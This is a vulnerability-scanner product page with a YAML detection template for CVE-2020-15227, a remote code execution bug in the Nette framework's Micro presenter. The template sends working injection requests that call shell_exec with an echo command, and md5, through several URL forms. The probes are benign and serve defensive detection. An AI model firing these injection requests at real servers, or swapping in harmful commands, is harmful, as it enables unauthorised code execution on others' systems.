Nette — 1 vulnerability check
noctis ships 1 vulnerability check for Nette, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Nette Framework MicroPresenter Callback Code Injection RCE
| CVE | CVE-2020-15227 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/nette/CVE-2020-15227.yaml |
Detects the unauthenticated code injection in the Nette Framework built-in Nette:Micro presenter (CVE-2020-15227): the `callback` query parameter is called as an arbitrary PHP function with arguments taken from the query string. Confirmation is keyed on benign per-run proofs: a shell_exec of an echo whose $((a+b)) arithmetic only a real shell evaluates into the expected marker (the sum never appears in the request), or, without a shell, the md5 of a random token computed server-side by the injected md5 callback. Probes the routed (/nette.micro/, /index.php/nette.micro/) and SimpleRouter (?presenter=Nette:Micro) forms, with PHP 7 and PHP 8 argument names.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{nette_url}}callback=shell_exec&cmd=echo%20NOCTIS%24%28%28{{nt.a}}%2B{{nt.b}}%29%29&… - Checks
exec_resp.bodyforNOCTIS[0-9]+→ finding QoD 97: Nette Framework MicroPresenter code injection confirmed via …callback=shell_exec: a shell evaluated the per-run arithmetic echo NOCTIS$((…+… - HTTP(S) request
GET {{nette_url}}callback=md5&str={{nt.md5_in}}&string={{nt.md5_in}} - Checks
md5_resp.bodyfor[0-9a-f]{32}→ finding QoD 97: Nette Framework MicroPresenter code injection confirmed via …callback=md5: the server called the attacker-chosen PHP function and returned …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2020-15227
- https://github.com/nette/application/releases/tag/v3.0.6
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15227.yaml
Feed source — tests/vulnerabilities/nette/CVE-2020-15227.yaml
# Nette Framework — MicroPresenter `callback` code injection RCE (CVE-2020-15227)
#
# Ported from OpenVAS/Greenbone NVT `2021/nette/gb_framework_CVE-2020-15227.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.117454, GPL-2.0-only); Nuclei
# `http/cves/2020/CVE-2020-15227.yaml` probes the same presenter.
#
# nette/application < 2.2.10 / 2.3.14 / 2.4.16 / 3.0.6 (and nette/nette < 2.0.19 /
# 2.1.13) ship the built-in `Nette:Micro` presenter (NetteModule\MicroPresenter),
# reachable through the default `<presenter>/<action>` route as /nette.micro/ or
# through SimpleRouter as ?presenter=Nette:Micro. It takes the `callback` query
# parameter as a PHP callable, binds the other query parameters to that
# function's arguments BY NAME (reflection), calls it and renders the returned
# string as the response. Any PHP function can be called unauthenticated: the fix
# only accepts a Closure.
#
# Detection — two benign, in-band proofs, nothing written or read off the target:
# 1. Command execution (QoD 97): callback=shell_exec with the command
# `echo NOCTIS$((<a>+<b>))` (a, b = per-run random 6-digit ints). Only a real
# shell evaluates the arithmetic and returns NOCTIS<a+b>; the sum never
# appears in the request, so a page that reflects the query — even through
# a filter that strips `$`, `(`, `)` and `+` (giving NOCTIS<a><b>) — cannot
# produce it.
# 2. Arbitrary PHP function call, no shell (QoD 97, reached only when step 1 did
# not fire): callback=md5 on a second per-run token. The reply must hold the
# md5 of that token, which only server-side execution of the attacker-chosen
# function produces (the request carries the token, never its hash). This
# covers hosts where shell_exec is in disable_functions and Windows hosts
# (cmd.exe does not collapse `$()`), which the NASL misses.
#
# Beyond the NASL (verified against real nette/application 3.0.5 vs 3.0.6 on PHP 8.3):
# - The NASL sends only `cmd=`, the PHP 7 name of shell_exec's parameter. PHP 8
# renamed it `command`, and Nette binds arguments by name, so on PHP 8 the
# NASL's request fails with "Missing parameter" — a false negative. The feed
# sends both `cmd` and `command` (and `str` + `string` for md5); the unused
# name is ignored by the presenter.
# - The NASL and Nuclei only try the routed /nette.micro/ form. Apps using
# SimpleRouter expose the same presenter as /?presenter=Nette:Micro, which the
# feed tries too.
# - The NASL's `id`/`cat` commands are replaced by the inert echo marker, and
# Nuclei's phpcredits() (a fingerprint-grade page) by the md5 computation.
uid: 04519865-e74e-40db-b65a-64b4d81a6929
name: "Nette Framework MicroPresenter Callback Code Injection RCE (CVE-2020-15227)"
description: |
Detects the unauthenticated code injection in the Nette Framework built-in
Nette:Micro presenter (CVE-2020-15227): the `callback` query parameter is
called as an arbitrary PHP function with arguments taken from the query
string. Confirmation is keyed on benign per-run proofs: a shell_exec of an echo
whose $((a+b)) arithmetic only a real shell evaluates into the expected
marker (the sum never appears in the request), or, without a shell, the md5 of a random token computed server-side by
the injected md5 callback. Probes the routed (/nette.micro/, /index.php/nette.micro/)
and SimpleRouter (?presenter=Nette:Micro) forms, with PHP 7 and PHP 8 argument names.
cves: [CVE-2020-15227]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: rce
tags: [nette, php, framework, code-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2020-15227"
- "https://github.com/nette/application/releases/tag/v3.0.6"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15227.yaml"
steps:
# Per-run values. a, b: operands of the shell arithmetic, marker = NOCTIS<a+b>;
# md5_in: 24 hex chars whose md5 (32 hex chars) the md5 callback must return.
- id: gen-tokens
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let md5_in = rand_hex(12);
#{ a: a, b: b, marker: "NOCTIS" + (a + b), md5_in: md5_in, md5_out: md5(md5_in) }
store_as: nt
# Every step from here on runs once per presenter URL (loop group). Each item
# ends with the separator the query parameters are appended after.
# Pre-initialise the stored results so a failed request leaves no undefined
# variable behind (it would abort the whole test).
- id: init-exec-resp
action: set_var
var_name: exec_resp
var_value: {status: 0, body: null}
loop:
over: ["/nette.micro/?", "/index.php/nette.micro/?", "/?presenter=Nette%3AMicro&"]
var: nette_url
- id: init-md5-resp
action: set_var
var_name: md5_resp
var_value: {status: 0, body: null}
# NASL request, command swapped for `echo NOCTIS$((<a>+<b>))`:
# %20 = space %24%28%28 = $(( %2B = + %29%29 = ))
# Both the PHP 7 (cmd) and PHP 8 (command) parameter names of shell_exec.
- id: inject-shell-exec
action: http_request
method: GET
port: "{{port}}"
path: "{{nette_url}}callback=shell_exec&cmd=echo%20NOCTIS%24%28%28{{nt.a}}%2B{{nt.b}}%29%29&command=echo%20NOCTIS%24%28%28{{nt.a}}%2B{{nt.b}}%29%29&what=-1"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: exec_resp
- id: confirm-shell-exec
action: match
source: exec_resp.body
pattern: "NOCTIS[0-9]+"
condition: "exec_resp.status == 200 && type_of(exec_resp.body) == \"string\" && stridx(exec_resp.body, nt.marker) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Nette Framework MicroPresenter code injection confirmed via {{nette_url}}callback=shell_exec: a shell evaluated the per-run arithmetic echo NOCTIS$(({{nt.a}}+{{nt.b}})) into {{nt.marker}}"
stop: true
# No shell (disable_functions, Windows): call md5 on a per-run token. Both the
# PHP 7 (str) and PHP 8 (string) parameter names of md5.
- id: inject-md5
action: http_request
method: GET
port: "{{port}}"
path: "{{nette_url}}callback=md5&str={{nt.md5_in}}&string={{nt.md5_in}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: md5_resp
- id: confirm-md5
action: match
source: md5_resp.body
pattern: "[0-9a-f]{32}"
condition: "md5_resp.status == 200 && type_of(md5_resp.body) == \"string\" && stridx(md5_resp.body, nt.md5_out) >= 0"
on_match:
finding:
confidence_delta: 0.67
qod: 97
evidence: "Nette Framework MicroPresenter code injection confirmed via {{nette_url}}callback=md5: the server called the attacker-chosen PHP function and returned md5({{nt.md5_in}}) = {{nt.md5_out}}"
stop: true